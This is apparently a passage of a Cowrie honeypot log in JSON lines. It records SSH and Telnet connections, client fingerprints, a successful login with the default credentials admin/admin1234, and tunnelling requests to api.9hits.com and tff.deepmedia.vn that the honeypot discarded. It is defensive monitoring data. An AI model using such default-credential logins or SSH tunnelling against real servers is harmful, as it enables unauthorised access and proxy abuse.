00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.855640Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51950,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b74f4c70b14","protocol":"ssh","message":"New connection: 123.27.168.40:51950 (10.17.0.5:22) [session: 1b74f4c70b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:14.014987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:14.019878Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:14.430873Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:15.791958Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.254520Z","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.332404Z","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.623233Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dD9ZdVUyVHBDQlU%2BPjhLVQ%3D%3DPKEIlYqe6YQtxJNcF%2Ba01YIwgNlKcHZLwPCzoM81bkZ0YY2k2U9xd7NGn2izHNphgf9Cc7eGp0AFXQ4ZDF3Pa23zwr4J3fAsFmuX1VK5hjtYZRb2DQuOf%2F%2F88z4GXAAtC%2BDZKTQzNATCYfZQl%2Fqx3y0WR8DJUGFmC4NiBCc9NqGhfVZwxSr%2Bw4uJHqqlmYrfF2O8nc81nWKLzix5EFJUk0FnVoLKxQk2Du7moXyxdWjWz3zpQNmR87QXBGSKdpfxBJ0xzsUnlcGve0EZDMsVnT3g8pmb2Sv7QVeLJY%2BWBVy97ldMJodoxTVsVXpEAuFOIr%2BIGdQ7toKMk2XgUqEO6r0yLtadCQu7jaHlRwZgZ8suUwHEw%2BPu50mA2AEpVciw%2BzxtanGy6GMzMVkBStyNwI8y0B2cWl%2FRTuuWGxPLp2d1K7bRFWBI80ZgKn9fWkIrlmoNGTgBry2btXjwI1SENQ%2Bo8rOrbx%2B%2Bgd1x1RQqVS4Kc5vF1w7D9K7Zdfm1Oik0INO8%2BJz%2BHlBjMM2ReT4ROFFSOJZy9auimVpw%2Fz2EFV8ojpwFdwz1WTccttiVU660ggRt8%2FXu%2FbMtyA4nR1C92E3LicztwByFZ3Is05JMVECCL2nRcYCZYN90dZ%2FHFl47N1ZaAAPdbSDxjfpRq2HLNjf%2BOfFg6Dvd2jCUg8VxeEEKPDlv%2Fpx8bGGPkJBcJ6LjGSo42WpxvX2MA6Y4QtIFuqiMuLNkBETmTpcOgTLOUW%2BvRlsz7gUeqccLvQdJTYHjfF2ok7rGJZpfcXH4tDX6GANZVSygYlN%2FNwA%2FcDDimQ1pKRptx2GzCXVkdaytS462D%2Fsm7w%2FR5ObXt7xCjMWGBBCa%2F%2FrP0DNMfPSc95zwWbgoBHPse3jU1KrTFFVLdGSoVZ2axxVN9D92Gsr72ws7UZdx9pM7JC2fLAZyQjfmVfl4n%2Bp6sk39wzo4jOMl3ZbARgMkL2bCWQmf5Zb74nM4tNYn1mKw7k236YRZ6IbRUXYAeD%2B7o3r8rDDHEurp1gIehUVJ96zldxx4JaVONPI6YfQSouUvGectjag2cSugiGVJDhC5aPa5TMP%2BLU5of06X'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dD9ZdVUyVHBDQlU%2BPjhLVQ%3D%3DPKEIlYqe6YQtxJNcF%2Ba01YIwgNlKcHZLwPCzoM81bkZ0YY2k2U9xd7NGn2izHNphgf9Cc7eGp0AFXQ4ZDF3Pa23zwr4J3fAsFmuX1VK5hjtYZRb2DQuOf%2F%2F88z4GXAAtC%2BDZKTQzNATCYfZQl%2Fqx3y0WR8DJUGFmC4NiBCc9NqGhfVZwxSr%2Bw4uJHqqlmYrfF2O8nc81nWKLzix5EFJUk0FnVoLKxQk2Du7moXyxdWjWz3zpQNmR87QXBGSKdpfxBJ0xzsUnlcGve0EZDMsVnT3g8pmb2Sv7QVeLJY%2BWBVy97ldMJodoxTVsVXpEAuFOIr%2BIGdQ7toKMk2XgUqEO6r0yLtadCQu7jaHlRwZgZ8suUwHEw%2BPu50mA2AEpVciw%2BzxtanGy6GMzMVkBStyNwI8y0B2cWl%2FRTuuWGxPLp2d1K7bRFWBI80ZgKn9fWkIrlmoNGTgBry2btXjwI1SENQ%2Bo8rOrbx%2B%2Bgd1x1RQqVS4Kc5vF1w7D9K7Zdfm1Oik0INO8%2BJz%2BHlBjMM2ReT4ROFFSOJZy9auimVpw%2Fz2EFV8ojpwFdwz1WTccttiVU660ggRt8%2FXu%2FbMtyA4nR1C92E3LicztwByFZ3Is05JMVECCL2nRcYCZYN90dZ%2FHFl47N1ZaAAPdbSDxjfpRq2HLNjf%2BOfFg6Dvd2jCUg8VxeEEKPDlv%2Fpx8bGGPkJBcJ6LjGSo42WpxvX2MA6Y4QtIFuqiMuLNkBETmTpcOgTLOUW%2BvRlsz7gUeqccLvQdJTYHjfF2ok7rGJZpfcXH4tDX6GANZVSygYlN%2FNwA%2FcDDimQ1pKRptx2GzCXVkdaytS462D%2Fsm7w%2FR5ObXt7xCjMWGBBCa%2F%2FrP0DNMfPSc95zwWbgoBHPse3jU1KrTFFVLdGSoVZ2axxVN9D92Gsr72ws7UZdx9pM7JC2fLAZyQjfmVfl4n%2Bp6sk39wzo4jOMl3ZbARgMkL2bCWQmf5Zb74nM4tNYn1mKw7k236YRZ6IbRUXYAeD%2B7o3r8rDDHEurp1gIehUVJ96zldxx4JaVONPI6YfQSouUvGectjag2cSugiGVJDhC5aPa5TMP%2BLU5of06X'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.626654Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.873707Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda0\\xe7\\xbf1[\\xca\\xf6\\xf3?5\\x04v\\xfbh\\xfei\\xe9\\xb8vL\\xa2R\\xb5\\x8b\\xf1)T\\xc7\\xcc\\x18f \\x9b\\xb1\\xfc\\xe9\\xe4Y)M\\xe7\\x10\\xb0/g\\x89\\x08r\\xc0\\xc5sX7$\\xb1\\x18\\xf4\\xab|\\xc4\\xaa\\xa5\\xb3\\x00\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x0f\\x92\\x08\\x0bY\\xb3\\x8b\\x80z]],\\x08\\x8c\\xe0\\xc5\\xaf\\x98\\t^&\\xc1\\x82\\x8e\\xae\\xbb\\x1f\\r\\x04\\xc5%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda0\\xe7\\xbf1[\\xca\\xf6\\xf3?5\\x04v\\xfbh\\xfei\\xe9\\xb8vL\\xa2R\\xb5\\x8b\\xf1)T\\xc7\\xcc\\x18f \\x9b\\xb1\\xfc\\xe9\\xe4Y)M\\xe7\\x10\\xb0/g\\x89\\x08r\\xc0\\xc5sX7$\\xb1\\x18\\xf4\\xab|\\xc4\\xaa\\xa5\\xb3\\x00\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x0f\\x92\\x08\\x0bY\\xb3\\x8b\\x80z]],\\x08\\x8c\\xe0\\xc5\\xaf\\x98\\t^&\\xc1\\x82\\x8e\\xae\\xbb\\x1f\\r\\x04\\xc5%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:16.876888Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:17.157381Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:17.379430Z","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:17.635459Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03}e\\xa9M\\x9f\\xbd\\xbc\\xec`pWhV?NC\\x0f]\\xe0\\x8d\\xdd\\xcc\\xe5Ec\\xba\\xd1\\xc5\\x90#\\xec\\xa1 \\xea8C+\\xd12\\xf0%*]\\xc3c\\x1f\\x96\\x9c\\x06\\xc1M\\x80\\r\\x86?m=+F\\xe8\\x84{\\xb5\\xabm\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xc2\\xb7\\x11-\\xbd!\\x1d\\xeftqQ\\xa4\\xde\\x13\\tU\\xb5u}\\x8f\\x8d\\xc4\\xe2|\\x93!\\xe9\\xcb\\xf8\\x8aU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03}e\\xa9M\\x9f\\xbd\\xbc\\xec`pWhV?NC\\x0f]\\xe0\\x8d\\xdd\\xcc\\xe5Ec\\xba\\xd1\\xc5\\x90#\\xec\\xa1 \\xea8C+\\xd12\\xf0%*]\\xc3c\\x1f\\x96\\x9c\\x06\\xc1M\\x80\\r\\x86?m=+F\\xe8\\x84{\\xb5\\xabm\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xc2\\xb7\\x11-\\xbd!\\x1d\\xeftqQ\\xa4\\xde\\x13\\tU\\xb5u}\\x8f\\x8d\\xc4\\xe2|\\x93!\\xe9\\xcb\\xf8\\x8aU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:17.640533Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:17.971272Z","src_ip":"123.27.168.40","session":"1b74f4c70b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51230,"dst_ip":"159.203.135.109","dst_port":23,"session":"03900e507d06","protocol":"telnet","message":"New connection: 128.199.8.54:51230 (159.203.135.109:23) [session: 03900e507d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:29.110835Z"}
